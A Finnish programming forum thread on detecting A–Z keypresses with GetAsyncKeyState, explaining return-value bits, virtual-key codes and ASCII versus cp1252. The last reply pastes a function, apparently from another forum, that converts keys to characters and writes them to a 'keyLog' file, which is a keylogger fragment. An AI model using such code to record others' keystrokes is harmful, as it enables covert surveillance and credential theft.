Tervehdys,
Tiedän että if (GetAsyncKeyState(VK_LEFT)) tarkistaa, että onko esim. painettu vasenta nuolinäppäintä, mutta jostain syystä en saa tarkistettua onko painettu aakkosia esim. väliltä a-z? Olisin erittäin kiitollinen esimerkistä, koska omani ei jostain syystä toiminut. Kokoeilin pistää ascii aluetta >= 65 ja <=122, mutta ei onnannut!
Kyllä kirjainten pitäisi muistaakseni vastata isojen kirjainten ASCII-koodeja, eli kokeile laittaa 'A'.
short key_char; for(key_char=65;key_char<=90;key_char++) { if(GetAsyncKeyState(key_char)==-32767) { //A-Z painettuna } }
Kiitos, nyt näyttää toimivan! Mitäs tarkalleen if(GetAsyncKeyState(key_char)==-32767) meinaa? Tulee äkkiseltään mieleen short alueen range..?
GetAsyncKeyState palauttaa ylimmän bitin, jos nappi on pohjassa kutsuhetkellä, ja alimman, jos sitä on painettu viime kutsun ja tämän välissä. Jälkimmäinen tarkistus ei kuitenkaan ole varma, koska jokin muu ohjelma on saattanut myös tarkistaa napin tilan.
Ehkä RQ:n tarkistusta varmempi olisi vain pudottaa alin bitti paluuarvosta pois AND-operaatiolla tai bittisiirrolla:
inline bool alhaalla(int vKey) { return (GetAsyncKeyState(vKey) >> 1) != 0; }
Vielä jatkoa.. Mistähän löytäisin oikean "ascii" taulukon, koska omassani esim 187 = +, mutta ei taida tavan standardi taulukossa olla sama? Esim ääkkösiä ei näytä löytyvän ollenkaan??
Linkki olisi kiva :)
Firefoxiin ascii, niin linkiksi tulee http://www.asciitable.com/ . Tässä esim. 187 on kulman tapainen merkki ja + on koodiltaan 43.
Ei toi taulukku pidä itselläni ainakaan loppupäästä yhtään paikkaansa. Tyydyin tekemään ohjelman joka sitten tulostaa numeroarvoina noi merkit, kun ei muuten ratkennut?
ASCII-merkistöön ei kuulukaan kuin 128 merkkiä, joten on turha valittaa, jos loput eivät osu kohdilleen. Graafisissa Windows-ohjelmissa käytetään suomeksi Windows-1252-merkistöä (cp1252), jonka alkupuoli vastaa ASCIIta ja loppupuolella on mm. paljon eurooppalaisten kielten erikoismerkkejä.
Järkevin tapa ois käyttää MapVirtualKeytä. Jostain rohitabin foorumilta:
void GetKeyFromVCode(UINT nVirtualKey,bool showKeynames) { WORD asciiKey; char virtualKey[32]; BYTE lpKeyboard[256]; GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK); GetKeyboardState(lpKeyboard); if(ToAscii(nVirtualKey, MapVirtualKey(nVirtualKey, 0), lpKeyboard, &asciiKey, 0) == 1) { fputc(asciiKey, keyLog); printf("%c", asciiKey); } else if((GetKeyNameText(MAKELONG(0, MapVirtualKey(nVirtualKey, 0)), virtualKey, 32) > 0) && showKeynames) { char keyWord[36] = " ["; strcat_s(keyWord,36,virtualKey); strcat_s(keyWord,36,"] "); fputs(keyWord, keyLog); printf("%s", keyWord); } }
Aihe on jo aika vanha, joten et voi enää vastata siihen.